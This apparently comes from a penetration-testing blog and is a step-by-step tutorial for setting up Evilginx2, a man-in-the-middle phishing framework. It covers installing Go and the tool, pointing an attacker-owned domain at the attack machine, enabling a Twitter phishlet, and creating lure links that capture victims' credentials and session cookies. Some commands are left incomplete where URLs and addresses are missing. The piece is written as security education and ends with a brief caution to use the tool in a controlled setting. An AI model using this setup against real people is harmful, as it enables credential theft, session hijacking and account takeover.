Penetration Testing

Evilginx2- Advanced Phishing Attack Framework

This is the successor of Evilginx 1, and it stays in-line with the MITM lineage. This tool is designed for a Phishing attack to capture login credentials and a session cookie. 

Table of Content



  • Perquisites
  • Installation
  • Domain Setup
  • Priming Evilginx


  • Lure Creation
  • Attack Simulation


One of the biggest concerns in today’s cyberspace is Phishing, it’s one of those things that uses what a user is familiar with against them. This is a MITM attack framework that sits between the user and site that they are trying to access to potentially steal their credentials. The framework is written in GO and implements its own HTTP and DNS server, making the setup process a breeze.


Let’s get acquainted with Evilginx2. The first thing we need to do is setup the Evilginx2 application on our attacking machine, let’s get the IP.



Evilginx has a few requirements before it can be installed and start working optimally, let’s take of them first.

We use pscp to upload the go install file to our attacking machine, defining where it can find the file and the credentials and IP of the destination machine. Go is a prerequisite for setting up evilginx. You can get Go 1.10.0 from here.

pscp.exe c:\go1.10.linux-amd64.tar.gz root@

Once we have to Go in our machine we unpack and install it. Pscp deposited our Go file in the tmp folder. We will now be using the following commands to install Go and check its version:

cd /tmp/
tar -C /use/local -xzf go1.10.linux-amd64.tar.gz
export PATH=$PATH:/use/local/go/bin
source $HOME/ .profile
go version

Go needs to be added to ~/.profieles now, here’s how you do it:

Open the. profiles file in nano or any other text editor and type in the following

export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

Next, install git make by typing the following:

apt-get install git make


Now we are ready to install Evilginx, let’s see how.

go get -u
cd $GOPATH/src/
make install

Let’s launch Evilginx by running the script.


There is multiple built-in options that the attacker can utilize to choose a site template called Phishlets.

Domain Setup

Evilginx works as a relay between the victim and the legitimate website that they are trying to access, to achieve this, the attacker needs a domain of their own. There are plenty of resources on the web from where a free domain can be attained temporarily, we used one such resource. We have setup an attacking domain:

The IP of our attacking machine is used in the IP address for the nameserver, if you recall, we noted it earlier on in the process.

Priming Evilginx

This is the part where we prime Evilginx for the attack. At the Evilginx terminal, we use the help command to see the various general configuration options that it has.


We need to configure Evilginx to use the domain name that we have set up for it and the IP for the attacking machine.

config domain
config ip

Time to setup the domains. We have used the twitter phishlet with our domain and Evilginx gives us options of modified domain names that we can setup in our hosting site

phishlets hostname twitter
phishlets get-hosts twitter

In our hosting site, we set the A record, which will the IP of the attacking machine and then copy and paste the domain names provided by Evilginx. One thing to note here, we don’t need to copy the “” part, we just need the preceding string.


We now have everything we need to execute a successful attack using Evilginx.

The settings have been put into place, now we can start using the tool for what it is intended

phishlets enable twitter

Lure Creation

We now need a link that the victim clicks on, in Evilginx, the term for the link is “Lures”.

The help command shows us what options we must use for setting up the lures.

help lures

The lures have to be attached with our desired phishlet and a redirect has to be set to point towards the legitimate website that we are trying to harvest credentials for. Once the lures have been configured, we can see what the configurations yield.

lures create twitter
lures edit redirect_url 0 =’’
lures get-url 0

Attack Simulation

When a victim clicks on our created lure, they will be sent to out phishlet, as can be seen below.

The victim enters their credentials and we see Evilginx capturing them and relaying them to the attack machines terminal.

This is a great tool to explore and understand phishing but at the same time, be sure to use it in a controlled setting.

Author: Sanjeet Kumar is an Information Security Analyst | Pentester | Researcher  Contact Here